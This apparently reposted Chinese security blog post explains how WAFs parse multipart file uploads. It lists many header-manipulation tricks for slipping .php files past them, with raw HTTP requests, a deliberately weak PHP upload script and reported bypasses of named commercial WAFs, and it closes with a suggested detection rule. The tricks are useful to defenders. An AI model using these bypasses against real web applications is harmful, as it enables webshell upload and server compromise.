文件上傳和WAF的攻與防


Author:JoyChou
Date:20180613

1. 前言

本文的測試環境均為

  • nginx/1.10.3
  • PHP 5.5.34

有些特性和 語言及webserver有關,有問題的地方,歡迎大家指正。

2. 文件上傳的特征

先來了解下文件上傳的特征,抓包看看這段文件上傳代碼的HTTP請求。

upload.php

<?php

if(isset($_POST['submit_x'])){     $upfile = $_FILES['filename']['name'];     $tempfile = $_FILES['filename']['tmp_name'];     $ext = trim(get_extension($upfile));     // 判斷文件后綴是否為數組里的值     if(in_array($ext,array('xxx'))){         die('Warning! File type error..');     }     $savefile = 'upload/' . $upfile;     if(move_uploaded_file($tempfile, $savefile)){         die('Upload success! FileName: '.$savefile);     }else{         die('Upload failed..');     } } // 獲取文件后綴名,並轉為小寫 function get_extension($file){     return strtolower(substr($file, strrpos($file, '.')+1)); } ?> <html> <body>   <form method="post" action="#" enctype="multipart/form-data">    <input type="file" name="file_x" value=""/>    <input type="submit" name="submit_x" value="upload"/>   </form> </body> </html> 

請求

POST /upload.php HTTP/1.1 Host: localhost Content-Length: 274 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2 Connection: close ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="file_x"; filename="xx.php" <?php phpinfo(); ?> ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryuKS18BporicXJfTx-- 

從中獲取特征為:

  • 請求Header中Content-Type存在以下特征:
    • multipart/form-data(表示該請求是一個文件上傳請求)
    • 存在boundary字符串(作用為分隔符,以區分POST數據)
  • POST的內容存在以下特征:
    • Content-Disposition
    • name
    • filename
  • POST中的boundary的值就是Content-Type的值在最前面加了兩個--,除了最后標識結束的boundary
  • 最后標識結束的boundary最后默認會多出兩個--(測試時,最后一行的boundary刪掉也能成功上傳)

3. WAF如何攔截

先來想想,如果自己寫WAF來防御惡意文件上傳。你應該如何防御?

  • 文件名
    • 解析文件名,判斷是否在黑名單內。
  • 文件內容
    • 解析文件內容,判斷是否為webshell。
  • 文件目錄權限
    • 該功能需要主機WAF實現,比如我見過的雲鎖。

目前,市面上常見的是解析文件名,少數WAF是解析文件內容,比如長亭。下面內容,都是基於文件名解析。

大致步驟如下:

  1. 獲取Request Header里的Content-Type值中獲取boundary值
  2. 根據第一步的boundary值,解析POST數據,獲取文件名
  3. 判斷文件名是否在攔截黑名單內

看看春哥寫的這個解析文件上傳的代碼,就能理解了,不過這份代碼已經沒維護了。但是這份代碼解析了文件名,只是繞過方式比較多。

lua-resty-upload這份代碼還在維護,不過只是取了內容,文件名需要自己解析。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php" Content-Type: text/javascript <?php phpinfo(); ?> ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

返回

read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]] read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]] read: ["body","<?php phpinfo(); ?>"] read: ["part_end"] read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]] read: ["body","upload"] read: ["part_end"] read: ["eof"] read: ["eof"]

4. 繞過

獲取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"和Content-Type里,所以繞過的地方也就在這兩個地方了。

4.1 去掉引號

Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php

4.2 雙引號變成單引號

Content-Disposition: form-data; name='file_x'; filename='xx.php'

單引號、雙引號、不要引號,都能上傳。

4.3 大小寫

對這三個固定的字符串進行大小寫轉換

  • Content-Disposition
  • name
  • filename

比如name轉換成Name,Content-Disposition轉換成content-disposition。兩年前,拿它繞過安全狗的上傳,不知道現在如何。

4.4 空格

: ; =添加1個或者多個空格,不過測試只有filename在=前面添加空格,上傳失敗。

在filename=后面添加空格,截止到2017年10月04日還能繞過某盾WAF。

4.5 去掉或修改Content-Disposition值

有的WAF在解析的時候,認為Content-Disposition值一定是form-data,造成繞過。兩年前,拿它繞過安全狗的上傳,不知道現在如何。

Content-Disposition: name='file_x'; filename='xx.php'

4.6 交換name和filename的順序

規定Content-Disposition必須在最前面,所以只能交換name和filename的順序。

有的WAF可能會匹配name在前面,filename在后面,所以下面姿勢會導致Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file_x

4.7 多個boundary

最后上傳的文件是test.php而非test.txt,但是取的文件名只取了第一個就會被Bypass。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript <?php phpinfo(); ?> ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript <?php phpinfo(); ?> ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

4.8 多個filename

最終上傳成功的文件名是test.php。但是由於解析文件名時,會解析到第一個。正則默認都會匹配到第一個。

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" 

4.9 多個分號

文件解析時,可能解析不到文件名,導致繞過。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

4.10 multipart/form-DATA

這種繞過應該很少,大多數都會忽略大小寫。php和java都支持。

Content-Type: multipart/form-DATA

4.11 Header在boundary前添加任意字符

這個只能說,PHP很皮,這都支持。試了JAVA會報錯。

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

4.12 filename換行

PHP支持,Java不支持。截止到2017年10月18日,這個方法能繞過某盾。

Content-Disposition: form-data; name="file_x"; file name="test.php"

這種PHP也支持。

fi
lename

4.13 name和filename添加任意字符串

PHP上傳成功,Java上傳失敗。

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; 

4.14 其他

其他利用系統特性的就不描述了,不是本文重點。有興趣可以看下我的Waf Bypass之道(upload篇)

5. 案例測試

5.1 某盾

測試了某盾WAF對惡意文件上傳的攔截。方法比較粗暴,判斷如下:

  1. 判斷POST數據是否存在Content-Disposition:字符串
  2. 判斷filename的文件名是否在黑名單內

兩者滿足就攔截,沒有做其他多余的判斷,正則也很好寫。

測試:curl -v -d "Content-Disposition:filename=xx.php;" yq.aliyun.com 攔截

這種方式確實有誤攔截情況。不過截止到2017年10月04日,某盾的上傳還是能夠通過在filename=后面添加空格進行繞過。
POC:Content-Disposition: form-data; name="file_x"; filename=  "xx.php";

下面這種也能繞過。

Content-Disposition: form-data; name="file_x"; file name="test.php"

5.2 ucloud

先找一個用了UCloud WAF的網站測試。

攔截

Content-Disposition: form-data; name="file_x";filename="xx.php"

去掉form-data繞過

Content-Disposition:  name="file_x";filename="xx.php"

其他的就不測試了…

6. How to Play

看了這么多,那規則到底應該如何寫。我個人想法如下:

  1. 由於是文件上傳,所以必須有Content-Type: multipart/form-data,先判斷這個是否存在。
  2. POST數據去掉所有換行,匹配是否有Content-Disposition:.*filename\s*=\s*(.*php)類似的規則。

這只是我的個人想法,如果有更好的想法,歡迎交流討論。

7. Reference

i春秋推出優享會員制,開通會員可以免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM